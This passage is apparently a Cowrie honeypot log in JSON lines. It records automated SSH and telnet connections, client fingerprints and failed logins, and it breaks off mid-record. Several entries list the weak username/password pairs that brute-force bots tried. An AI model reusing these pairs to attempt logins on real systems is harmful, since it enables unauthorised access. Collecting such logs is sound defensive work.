{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:48.682049Z","src_ip":"192.109.200.237","session":"18205de53dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46252,"dst_ip":"159.203.135.109","dst_port":22,"session":"43552269fd17","protocol":"ssh","message":"New connection: 192.109.200.237:46252 (159.203.135.109:22) [session: 43552269fd17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:50.983667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:50.988068Z","src_ip":"192.109.200.237","session":"43552269fd17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:51.071119Z","src_ip":"192.109.200.237","session":"43552269fd17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"123456","message":"login attempt [fastuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:51.323465Z","src_ip":"192.109.200.237","session":"43552269fd17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:52.408430Z","src_ip":"192.109.200.237","session":"43552269fd17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34226,"dst_ip":"10.17.0.5","dst_port":23,"session":"9189dd15c3d5","protocol":"telnet","message":"New connection: 152.42.224.71:34226 (10.17.0.5:23) [session: 9189dd15c3d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:52.435346Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46254,"dst_ip":"159.203.135.109","dst_port":22,"session":"b1290ad46869","protocol":"ssh","message":"New connection: 192.109.200.237:46254 (159.203.135.109:22) [session: b1290ad46869]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:54.653479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:54.659121Z","src_ip":"192.109.200.237","session":"b1290ad46869","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:54.742423Z","src_ip":"192.109.200.237","session":"b1290ad46869","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:54.993928Z","src_ip":"192.109.200.237","session":"b1290ad46869","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:56.081577Z","src_ip":"192.109.200.237","session":"b1290ad46869","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":46256,"dst_ip":"159.203.135.109","dst_port":22,"session":"5deca6a3dba2","protocol":"ssh","message":"New connection: 192.109.200.237:46256 (159.203.135.109:22) [session: 5deca6a3dba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:57.969830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:57.978251Z","src_ip":"192.109.200.237","session":"5deca6a3dba2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:58.060353Z","src_ip":"192.109.200.237","session":"5deca6a3dba2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"1qaz@WSX","message":"login attempt [user1/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:58.308027Z","src_ip":"192.109.200.237","session":"5deca6a3dba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:37:59.392951Z","src_ip":"192.109.200.237","session":"5deca6a3dba2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00286674499512,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:01.045941Z","src_ip":"46.60.48.98","session":"5412900ef07f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56030,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0430f010951","protocol":"ssh","message":"New connection: 192.109.200.237:56030 (159.203.135.109:22) [session: a0430f010951]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:01.336569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:01.341980Z","src_ip":"192.109.200.237","session":"a0430f010951","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:01.424995Z","src_ip":"192.109.200.237","session":"a0430f010951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:01.673040Z","src_ip":"192.109.200.237","session":"a0430f010951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:02.773583Z","src_ip":"192.109.200.237","session":"a0430f010951","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":39050,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b9a6651d813","protocol":"ssh","message":"New connection: 193.228.128.84:39050 (10.17.0.5:22) [session: 7b9a6651d813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:02.896484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:02.902612Z","src_ip":"193.228.128.84","session":"7b9a6651d813","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:03.006321Z","src_ip":"193.228.128.84","session":"7b9a6651d813","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":58962,"dst_ip":"159.203.135.109","dst_port":23,"session":"3be77efc9ede","protocol":"telnet","message":"New connection: 46.60.48.98:58962 (159.203.135.109:23) [session: 3be77efc9ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:03.077143Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228","message":"login attempt [root/228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:03.317438Z","src_ip":"193.228.128.84","session":"7b9a6651d813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:04.423372Z","src_ip":"193.228.128.84","session":"7b9a6651d813","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00581765174866,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:04.729630Z","src_ip":"46.60.48.98","session":"ff2d12f1cf34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00205564498901,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:04.865395Z","src_ip":"46.60.48.98","session":"163d4944c2cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56044,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ec8bf74e288","protocol":"ssh","message":"New connection: 192.109.200.237:56044 (159.203.135.109:22) [session: 0ec8bf74e288]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:04.903804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:04.914505Z","src_ip":"192.109.200.237","session":"0ec8bf74e288","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:04.997967Z","src_ip":"192.109.200.237","session":"0ec8bf74e288","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"123456","message":"login attempt [tom/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:05.250172Z","src_ip":"192.109.200.237","session":"0ec8bf74e288","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:06.337983Z","src_ip":"192.109.200.237","session":"0ec8bf74e288","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":60236,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0e5c0c0e125","protocol":"telnet","message":"New connection: 46.60.48.98:60236 (159.203.135.109:23) [session: b0e5c0c0e125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:08.040536Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56060,"dst_ip":"159.203.135.109","dst_port":22,"session":"73f91b3c00b7","protocol":"ssh","message":"New connection: 192.109.200.237:56060 (159.203.135.109:22) [session: 73f91b3c00b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:08.260717Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:08.265443Z","src_ip":"192.109.200.237","session":"73f91b3c00b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:08.347333Z","src_ip":"192.109.200.237","session":"73f91b3c00b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:08.595827Z","src_ip":"192.109.200.237","session":"73f91b3c00b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":59970,"dst_ip":"159.203.135.109","dst_port":23,"session":"040ffeb08802","protocol":"telnet","message":"New connection: 46.60.48.98:59970 (159.203.135.109:23) [session: 040ffeb08802]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:08.681350Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:09.822638Z","src_ip":"192.109.200.237","session":"73f91b3c00b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"46.60.48.98","src_port":33130,"dst_ip":"159.203.135.109","dst_port":23,"session":"d85bc45a79d4","protocol":"telnet","message":"New connection: 46.60.48.98:33130 (159.203.135.109:23) [session: d85bc45a79d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:09.932427Z"}
{"eventid":"cowrie.session.closed","duration":0.26047396659851074,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:10.192785Z","src_ip":"46.60.48.98","session":"d85bc45a79d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":56168,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7c97bab4fc5","protocol":"ssh","message":"New connection: 192.109.200.237:56168 (159.203.135.109:22) [session: b7c97bab4fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:11.558582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:38:11.563623Z","src_ip":"192.109.200.237","session":"b7c97bab4fc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com"